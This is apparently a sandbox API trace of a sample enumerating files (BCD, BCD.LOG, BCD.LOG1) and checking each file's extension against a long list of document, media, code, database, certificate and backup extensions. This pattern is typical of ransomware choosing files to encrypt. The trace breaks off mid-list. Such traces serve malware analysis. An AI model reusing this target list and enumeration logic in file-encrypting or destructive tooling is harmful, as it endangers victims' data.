	[0153.244] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="BCD", cAlternateFileName="")) returned 1
	[0153.245] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0153.245] lstrlenW (lpString="BCD.LOG") returned 7
	[0153.245] lstrlenW (lpString=".1cd") returned 4
	[0153.245] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0153.245] lstrlenW (lpString=".3ds") returned 4
	[0153.245] lstrcmpiW (lpString1=".3ds", lpString2=".LOG") returned -1
	[0153.245] lstrlenW (lpString=".3fr") returned 4
	[0153.245] lstrcmpiW (lpString1=".3fr", lpString2=".LOG") returned -1
	[0153.245] lstrlenW (lpString=".3g2") returned 4
	[0153.245] lstrcmpiW (lpString1=".3g2", lpString2=".LOG") returned -1
	[0153.245] lstrlenW (lpString=".3gp") returned 4
	[0153.245] lstrcmpiW (lpString1=".3gp", lpString2=".LOG") returned -1
	[0153.245] lstrlenW (lpString=".7z") returned 3
	[0153.245] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0153.245] lstrlenW (lpString=".accda") returned 6
	[0153.245] lstrcmpiW (lpString1=".accda", lpString2="CD.LOG") returned -1
	[0153.245] lstrlenW (lpString=".accdb") returned 6
	[0153.245] lstrcmpiW (lpString1=".accdb", lpString2="CD.LOG") returned -1
	[0153.245] lstrlenW (lpString=".accdc") returned 6
	[0153.245] lstrcmpiW (lpString1=".accdc", lpString2="CD.LOG") returned -1
	[0153.245] lstrlenW (lpString=".accde") returned 6
	[0153.245] lstrcmpiW (lpString1=".accde", lpString2="CD.LOG") returned -1
	[0153.245] lstrlenW (lpString=".accdt") returned 6
	[0153.245] lstrcmpiW (lpString1=".accdt", lpString2="CD.LOG") returned -1
	[0153.245] lstrlenW (lpString=".accdw") returned 6
	[0153.245] lstrcmpiW (lpString1=".accdw", lpString2="CD.LOG") returned -1
	[0153.245] lstrlenW (lpString=".adb") returned 4
	[0153.245] lstrcmpiW (lpString1=".adb", lpString2=".LOG") returned -1
	[0153.245] lstrlenW (lpString=".adp") returned 4
	[0153.246] lstrcmpiW (lpString1=".adp", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".ai") returned 3
	[0153.246] lstrcmpiW (lpString1=".ai", lpString2="LOG") returned -1
	[0153.246] lstrlenW (lpString=".ai3") returned 4
	[0153.246] lstrcmpiW (lpString1=".ai3", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".ai4") returned 4
	[0153.246] lstrcmpiW (lpString1=".ai4", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".ai5") returned 4
	[0153.246] lstrcmpiW (lpString1=".ai5", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".ai6") returned 4
	[0153.246] lstrcmpiW (lpString1=".ai6", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".ai7") returned 4
	[0153.246] lstrcmpiW (lpString1=".ai7", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".ai8") returned 4
	[0153.246] lstrcmpiW (lpString1=".ai8", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".anim") returned 5
	[0153.246] lstrcmpiW (lpString1=".anim", lpString2="D.LOG") returned -1
	[0153.246] lstrlenW (lpString=".arw") returned 4
	[0153.246] lstrcmpiW (lpString1=".arw", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".as") returned 3
	[0153.246] lstrcmpiW (lpString1=".as", lpString2="LOG") returned -1
	[0153.246] lstrlenW (lpString=".asa") returned 4
	[0153.246] lstrcmpiW (lpString1=".asa", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".asc") returned 4
	[0153.246] lstrcmpiW (lpString1=".asc", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".ascx") returned 5
	[0153.246] lstrcmpiW (lpString1=".ascx", lpString2="D.LOG") returned -1
	[0153.246] lstrlenW (lpString=".asm") returned 4
	[0153.246] lstrcmpiW (lpString1=".asm", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".asmx") returned 5
	[0153.246] lstrcmpiW (lpString1=".asmx", lpString2="D.LOG") returned -1
	[0153.246] lstrlenW (lpString=".asp") returned 4
	[0153.246] lstrcmpiW (lpString1=".asp", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".aspx") returned 5
	[0153.246] lstrcmpiW (lpString1=".aspx", lpString2="D.LOG") returned -1
	[0153.246] lstrlenW (lpString=".asr") returned 4
	[0153.246] lstrcmpiW (lpString1=".asr", lpString2=".LOG") returned -1
	[0153.246] lstrlenW (lpString=".asx") returned 4
	[0153.247] lstrcmpiW (lpString1=".asx", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".avi") returned 4
	[0153.247] lstrcmpiW (lpString1=".avi", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".avs") returned 4
	[0153.247] lstrcmpiW (lpString1=".avs", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".backup") returned 7
	[0153.247] lstrcmpiW (lpString1=".backup", lpString2="BCD.LOG") returned -1
	[0153.247] lstrlenW (lpString=".bak") returned 4
	[0153.247] lstrcmpiW (lpString1=".bak", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".bay") returned 4
	[0153.247] lstrcmpiW (lpString1=".bay", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".bd") returned 3
	[0153.247] lstrcmpiW (lpString1=".bd", lpString2="LOG") returned -1
	[0153.247] lstrlenW (lpString=".bin") returned 4
	[0153.247] lstrcmpiW (lpString1=".bin", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".bmp") returned 4
	[0153.247] lstrcmpiW (lpString1=".bmp", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".bz2") returned 4
	[0153.247] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".c") returned 2
	[0153.247] lstrcmpiW (lpString1=".c", lpString2="OG") returned -1
	[0153.247] lstrlenW (lpString=".cdr") returned 4
	[0153.247] lstrcmpiW (lpString1=".cdr", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".cer") returned 4
	[0153.247] lstrcmpiW (lpString1=".cer", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".cf") returned 3
	[0153.247] lstrcmpiW (lpString1=".cf", lpString2="LOG") returned -1
	[0153.247] lstrlenW (lpString=".cfc") returned 4
	[0153.247] lstrcmpiW (lpString1=".cfc", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".cfm") returned 4
	[0153.247] lstrcmpiW (lpString1=".cfm", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".cfml") returned 5
	[0153.247] lstrcmpiW (lpString1=".cfml", lpString2="D.LOG") returned -1
	[0153.247] lstrlenW (lpString=".cfu") returned 4
	[0153.247] lstrcmpiW (lpString1=".cfu", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".chm") returned 4
	[0153.247] lstrcmpiW (lpString1=".chm", lpString2=".LOG") returned -1
	[0153.247] lstrlenW (lpString=".cin") returned 4
	[0153.248] lstrcmpiW (lpString1=".cin", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".class") returned 6
	[0153.248] lstrcmpiW (lpString1=".class", lpString2="CD.LOG") returned -1
	[0153.248] lstrlenW (lpString=".clx") returned 4
	[0153.248] lstrcmpiW (lpString1=".clx", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".config") returned 7
	[0153.248] lstrcmpiW (lpString1=".config", lpString2="BCD.LOG") returned -1
	[0153.248] lstrlenW (lpString=".cpp") returned 4
	[0153.248] lstrcmpiW (lpString1=".cpp", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".cr2") returned 4
	[0153.248] lstrcmpiW (lpString1=".cr2", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".crt") returned 4
	[0153.248] lstrcmpiW (lpString1=".crt", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".crw") returned 4
	[0153.248] lstrcmpiW (lpString1=".crw", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".cs") returned 3
	[0153.248] lstrcmpiW (lpString1=".cs", lpString2="LOG") returned -1
	[0153.248] lstrlenW (lpString=".css") returned 4
	[0153.248] lstrcmpiW (lpString1=".css", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".csv") returned 4
	[0153.248] lstrcmpiW (lpString1=".csv", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".cub") returned 4
	[0153.248] lstrcmpiW (lpString1=".cub", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".dae") returned 4
	[0153.248] lstrcmpiW (lpString1=".dae", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".dat") returned 4
	[0153.248] lstrcmpiW (lpString1=".dat", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".db") returned 3
	[0153.248] lstrcmpiW (lpString1=".db", lpString2="LOG") returned -1
	[0153.248] lstrlenW (lpString=".dbf") returned 4
	[0153.248] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".dbx") returned 4
	[0153.248] lstrcmpiW (lpString1=".dbx", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".dc3") returned 4
	[0153.248] lstrcmpiW (lpString1=".dc3", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".dcm") returned 4
	[0153.248] lstrcmpiW (lpString1=".dcm", lpString2=".LOG") returned -1
	[0153.248] lstrlenW (lpString=".dcr") returned 4
	[0153.248] lstrcmpiW (lpString1=".dcr", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".der") returned 4
	[0153.249] lstrcmpiW (lpString1=".der", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".dib") returned 4
	[0153.249] lstrcmpiW (lpString1=".dib", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".dic") returned 4
	[0153.249] lstrcmpiW (lpString1=".dic", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".dif") returned 4
	[0153.249] lstrcmpiW (lpString1=".dif", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".divx") returned 5
	[0153.249] lstrcmpiW (lpString1=".divx", lpString2="D.LOG") returned -1
	[0153.249] lstrlenW (lpString=".djvu") returned 5
	[0153.249] lstrcmpiW (lpString1=".djvu", lpString2="D.LOG") returned -1
	[0153.249] lstrlenW (lpString=".dng") returned 4
	[0153.249] lstrcmpiW (lpString1=".dng", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".doc") returned 4
	[0153.249] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".docm") returned 5
	[0153.249] lstrcmpiW (lpString1=".docm", lpString2="D.LOG") returned -1
	[0153.249] lstrlenW (lpString=".docx") returned 5
	[0153.249] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0153.249] lstrlenW (lpString=".dot") returned 4
	[0153.249] lstrcmpiW (lpString1=".dot", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".dotm") returned 5
	[0153.249] lstrcmpiW (lpString1=".dotm", lpString2="D.LOG") returned -1
	[0153.249] lstrlenW (lpString=".dotx") returned 5
	[0153.249] lstrcmpiW (lpString1=".dotx", lpString2="D.LOG") returned -1
	[0153.249] lstrlenW (lpString=".dpx") returned 4
	[0153.249] lstrcmpiW (lpString1=".dpx", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".dqy") returned 4
	[0153.249] lstrcmpiW (lpString1=".dqy", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".dsn") returned 4
	[0153.249] lstrcmpiW (lpString1=".dsn", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".dt") returned 3
	[0153.249] lstrcmpiW (lpString1=".dt", lpString2="LOG") returned -1
	[0153.249] lstrlenW (lpString=".dtd") returned 4
	[0153.249] lstrcmpiW (lpString1=".dtd", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".dwg") returned 4
	[0153.249] lstrcmpiW (lpString1=".dwg", lpString2=".LOG") returned -1
	[0153.249] lstrlenW (lpString=".dwt") returned 4
	[0153.250] lstrcmpiW (lpString1=".dwt", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".dx") returned 3
	[0153.250] lstrcmpiW (lpString1=".dx", lpString2="LOG") returned -1
	[0153.250] lstrlenW (lpString=".dxf") returned 4
	[0153.250] lstrcmpiW (lpString1=".dxf", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".edml") returned 5
	[0153.250] lstrcmpiW (lpString1=".edml", lpString2="D.LOG") returned -1
	[0153.250] lstrlenW (lpString=".efd") returned 4
	[0153.250] lstrcmpiW (lpString1=".efd", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".elf") returned 4
	[0153.250] lstrcmpiW (lpString1=".elf", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".emf") returned 4
	[0153.250] lstrcmpiW (lpString1=".emf", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".emz") returned 4
	[0153.250] lstrcmpiW (lpString1=".emz", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".epf") returned 4
	[0153.250] lstrcmpiW (lpString1=".epf", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".eps") returned 4
	[0153.250] lstrcmpiW (lpString1=".eps", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".epsf") returned 5
	[0153.250] lstrcmpiW (lpString1=".epsf", lpString2="D.LOG") returned -1
	[0153.250] lstrlenW (lpString=".epsp") returned 5
	[0153.250] lstrcmpiW (lpString1=".epsp", lpString2="D.LOG") returned -1
	[0153.250] lstrlenW (lpString=".erf") returned 4
	[0153.250] lstrcmpiW (lpString1=".erf", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".exr") returned 4
	[0153.250] lstrcmpiW (lpString1=".exr", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".f4v") returned 4
	[0153.250] lstrcmpiW (lpString1=".f4v", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".fido") returned 5
	[0153.250] lstrcmpiW (lpString1=".fido", lpString2="D.LOG") returned -1
	[0153.250] lstrlenW (lpString=".flm") returned 4
	[0153.250] lstrcmpiW (lpString1=".flm", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".flv") returned 4
	[0153.250] lstrcmpiW (lpString1=".flv", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".frm") returned 4
	[0153.250] lstrcmpiW (lpString1=".frm", lpString2=".LOG") returned -1
	[0153.250] lstrlenW (lpString=".fxg") returned 4
	[0153.251] lstrcmpiW (lpString1=".fxg", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".geo") returned 4
	[0153.251] lstrcmpiW (lpString1=".geo", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".gif") returned 4
	[0153.251] lstrcmpiW (lpString1=".gif", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".grs") returned 4
	[0153.251] lstrcmpiW (lpString1=".grs", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".gz") returned 3
	[0153.251] lstrcmpiW (lpString1=".gz", lpString2="LOG") returned -1
	[0153.251] lstrlenW (lpString=".h") returned 2
	[0153.251] lstrcmpiW (lpString1=".h", lpString2="OG") returned -1
	[0153.251] lstrlenW (lpString=".hdr") returned 4
	[0153.251] lstrcmpiW (lpString1=".hdr", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".hpp") returned 4
	[0153.251] lstrcmpiW (lpString1=".hpp", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".hta") returned 4
	[0153.251] lstrcmpiW (lpString1=".hta", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".htc") returned 4
	[0153.251] lstrcmpiW (lpString1=".htc", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".htm") returned 4
	[0153.251] lstrcmpiW (lpString1=".htm", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".html") returned 5
	[0153.251] lstrcmpiW (lpString1=".html", lpString2="D.LOG") returned -1
	[0153.251] lstrlenW (lpString=".icb") returned 4
	[0153.251] lstrcmpiW (lpString1=".icb", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".ics") returned 4
	[0153.251] lstrcmpiW (lpString1=".ics", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".iff") returned 4
	[0153.251] lstrcmpiW (lpString1=".iff", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".inc") returned 4
	[0153.251] lstrcmpiW (lpString1=".inc", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".indd") returned 5
	[0153.251] lstrcmpiW (lpString1=".indd", lpString2="D.LOG") returned -1
	[0153.251] lstrlenW (lpString=".ini") returned 4
	[0153.251] lstrcmpiW (lpString1=".ini", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".iqy") returned 4
	[0153.251] lstrcmpiW (lpString1=".iqy", lpString2=".LOG") returned -1
	[0153.251] lstrlenW (lpString=".j2c") returned 4
	[0153.251] lstrcmpiW (lpString1=".j2c", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".j2k") returned 4
	[0153.252] lstrcmpiW (lpString1=".j2k", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".java") returned 5
	[0153.252] lstrcmpiW (lpString1=".java", lpString2="D.LOG") returned -1
	[0153.252] lstrlenW (lpString=".jp2") returned 4
	[0153.252] lstrcmpiW (lpString1=".jp2", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".jpc") returned 4
	[0153.252] lstrcmpiW (lpString1=".jpc", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".jpe") returned 4
	[0153.252] lstrcmpiW (lpString1=".jpe", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".jpeg") returned 5
	[0153.252] lstrcmpiW (lpString1=".jpeg", lpString2="D.LOG") returned -1
	[0153.252] lstrlenW (lpString=".jpf") returned 4
	[0153.252] lstrcmpiW (lpString1=".jpf", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".jpg") returned 4
	[0153.252] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".jpx") returned 4
	[0153.252] lstrcmpiW (lpString1=".jpx", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".js") returned 3
	[0153.252] lstrcmpiW (lpString1=".js", lpString2="LOG") returned -1
	[0153.252] lstrlenW (lpString=".jsf") returned 4
	[0153.252] lstrcmpiW (lpString1=".jsf", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".json") returned 5
	[0153.252] lstrcmpiW (lpString1=".json", lpString2="D.LOG") returned -1
	[0153.252] lstrlenW (lpString=".jsp") returned 4
	[0153.252] lstrcmpiW (lpString1=".jsp", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".kdc") returned 4
	[0153.252] lstrcmpiW (lpString1=".kdc", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".kmz") returned 4
	[0153.252] lstrcmpiW (lpString1=".kmz", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".kwm") returned 4
	[0153.252] lstrcmpiW (lpString1=".kwm", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".lasso") returned 6
	[0153.252] lstrcmpiW (lpString1=".lasso", lpString2="CD.LOG") returned -1
	[0153.252] lstrlenW (lpString=".lbi") returned 4
	[0153.252] lstrcmpiW (lpString1=".lbi", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".lgf") returned 4
	[0153.252] lstrcmpiW (lpString1=".lgf", lpString2=".LOG") returned -1
	[0153.252] lstrlenW (lpString=".lgp") returned 4
	[0153.253] lstrcmpiW (lpString1=".lgp", lpString2=".LOG") returned -1
	[0153.253] lstrlenW (lpString=".log") returned 4
	[0153.253] lstrcmpiW (lpString1=".log", lpString2=".LOG") returned 0
	[0153.253] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0153.253] lstrlenW (lpString="BCD.LOG1") returned 8
	[0153.253] lstrlenW (lpString=".1cd") returned 4
	[0153.253] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0153.253] lstrlenW (lpString=".3ds") returned 4
	[0153.253] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1
	[0153.253] lstrlenW (lpString=".3fr") returned 4
	[0153.253] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1
	[0153.253] lstrlenW (lpString=".3g2") returned 4
	[0153.253] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1
	[0153.253] lstrlenW (lpString=".3gp") returned 4
	[0153.253] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1
	[0153.253] lstrlenW (lpString=".7z") returned 3
	[0153.253] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0153.253] lstrlenW (lpString=".accda") returned 6
	[0153.253] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1
	[0153.253] lstrlenW (lpString=".accdb") returned 6
	[0153.253] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1
	[0153.253] lstrlenW (lpString=".accdc") returned 6
	[0153.253] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1
	[0153.253] lstrlenW (lpString=".accde") returned 6
	[0153.253] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1
	[0153.253] lstrlenW (lpString=".accdt") returned 6
	[0153.253] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1
	[0153.253] lstrlenW (lpString=".accdw") returned 6
	[0153.253] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1
	[0153.253] lstrlenW (lpString=".adb") returned 4
	[0153.253] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1
	[0153.253] lstrlenW (lpString=".adp") returned 4
	[0153.253] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1
	[0153.253] lstrlenW (lpString=".ai") returned 3
	[0153.253] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1
	[0153.253] lstrlenW (lpString=".ai3") returned 4
	[0153.253] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1
	[0153.253] lstrlenW (lpString=".ai4") returned 4
	[0153.254] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1
	[0153.338] lstrlenW (lpString=".ai5") returned 4
	[0153.338] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1
	[0153.338] lstrlenW (lpString=".ai6") returned 4
	[0153.340] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1
	[0153.340] lstrlenW (lpString=".ai7") returned 4
	[0153.340] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1
	[0153.340] lstrlenW (lpString=".ai8") returned 4
	[0153.340] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1
	[0153.340] lstrlenW (lpString=".anim") returned 5
	[0153.340] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1
	[0153.352] lstrlenW (lpString=".arw") returned 4
	[0153.352] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1
	[0153.352] lstrlenW (lpString=".as") returned 3
	[0153.352] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1
	[0153.352] lstrlenW (lpString=".asa") returned 4
	[0153.352] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1
	[0153.352] lstrlenW (lpString=".asc") returned 4
	[0153.352] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1
	[0153.352] lstrlenW (lpString=".ascx") returned 5
	[0153.352] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1
	[0153.352] lstrlenW (lpString=".asm") returned 4
	[0153.352] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1
	[0153.352] lstrlenW (lpString=".asmx") returned 5
	[0153.352] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1
	[0153.352] lstrlenW (lpString=".asp") returned 4
	[0153.354] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1
	[0153.354] lstrlenW (lpString=".aspx") returned 5
	[0153.354] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1
	[0153.354] lstrlenW (lpString=".asr") returned 4
	[0153.354] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1
	[0153.354] lstrlenW (lpString=".asx") returned 4
	[0153.354] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1
	[0153.354] lstrlenW (lpString=".avi") returned 4
	[0153.355] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1
	[0153.355] lstrlenW (lpString=".avs") returned 4
	[0153.355] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1
	[0153.355] lstrlenW (lpString=".backup") returned 7
	[0153.355] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1
	[0153.355] lstrlenW (lpString=".bak") returned 4
	[0153.355] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1
	[0153.355] lstrlenW (lpString=".bay") returned 4
	[0153.355] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1
	[0153.355] lstrlenW (lpString=".bd") returned 3
	[0153.355] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1
	[0153.356] lstrlenW (lpString=".bin") returned 4
	[0153.356] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1
	[0153.356] lstrlenW (lpString=".bmp") returned 4
	[0153.356] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1
	[0153.356] lstrlenW (lpString=".bz2") returned 4
	[0153.356] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0153.357] lstrlenW (lpString=".c") returned 2
	[0153.357] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1
	[0153.357] lstrlenW (lpString=".cdr") returned 4
	[0153.357] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1
	[0153.357] lstrlenW (lpString=".cer") returned 4
	[0153.357] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1
	[0153.357] lstrlenW (lpString=".cf") returned 3
	[0153.357] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1
	[0153.357] lstrlenW (lpString=".cfc") returned 4
	[0153.357] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1
	[0153.357] lstrlenW (lpString=".cfm") returned 4
	[0153.357] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1
	[0153.358] lstrlenW (lpString=".cfml") returned 5
	[0153.358] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1
	[0153.359] lstrlenW (lpString=".cfu") returned 4
	[0153.359] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1
	[0153.359] lstrlenW (lpString=".chm") returned 4
	[0153.359] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1
	[0153.359] lstrlenW (lpString=".cin") returned 4
	[0153.359] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1
	[0153.360] lstrlenW (lpString=".class") returned 6
	[0153.364] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1
	[0153.364] lstrlenW (lpString=".clx") returned 4
	[0153.364] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1
	[0153.364] lstrlenW (lpString=".config") returned 7
	[0153.364] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1
	[0153.364] lstrlenW (lpString=".cpp") returned 4
